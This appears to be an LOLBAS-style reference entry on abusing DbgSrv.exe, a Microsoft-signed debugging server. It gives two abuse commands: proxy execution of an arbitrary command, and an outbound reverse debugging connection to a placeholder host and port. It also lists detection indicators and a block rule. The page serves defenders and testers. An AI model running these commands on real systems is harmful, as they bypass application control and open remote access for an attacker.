← cd ..OtherMSBinaries

DbgSrv.exe

A process server included with Debugging Tools for Windows for remote user-mode debugging.

Full path

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exeC:\Program Files (x86)\Windows Kits\10\Debuggers\x86\dbgsrv.exeC:\Program Files\Debugging Tools for Windows (x64)\dbgsrv.exeC:\Program Files\Debugging Tools for Windows (x86)\dbgsrv.exe

Commands

  1. ExecuteUser T1127

    Proxy execution of a command through a trusted Microsoft-signed debugging utility.

    dbgsrv.exe -t tcp:port=5005 -c {CMD}

    Creates a process server and launches the specified command using the DbgSrv.exe -c option.

    os: Windows

    Execute: CMD

  2. ExecuteUser T1127

    Establish a reverse remote-debugging channel through a trusted Microsoft-signed developer utility.

    dbgsrv.exe -t tcp:clicon={HOST},port={PORT}

    Establishes an outbound reverse connection from the DbgSrv process server to a remote debugging client using the clicon option. A connected debugging client can subsequently interact with processes through the remote debugging session.

    os: Windows

    Execute: Remote

Detection

  • IOCDbgSrv.exe spawning a child process after execution with the -c option.
  • IOCDbgSrv.exe command lines containing -c, -pc, clicon=, or hidden.
  • IOCDbgSrv.exe establishing an unexpected outbound connection to an external host.
  • IOCDbgSrv.exe communicating over ports that are not approved for remote debugging.
  • IOCDbgSrv.exe executed from outside an expected Windows Kits or Debugging Tools directory.
  • IOCDbgSrv.exe spawning a command interpreter, script engine, or executable from a user-writable directory.
  • IOCA normally network-inactive process, such as notepad.exe, initiating an external connection shortly after DbgSrv.exe establishes a connection to the same host or infrastructure.
  • IOCDbgSrv.exe launched by explorer.exe on a system where interactive remote debugging is not expected.
  • BlockRule https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol

Code samples

Resources

acknowledgement: PHYO PAING HTUN @ChiLaikhun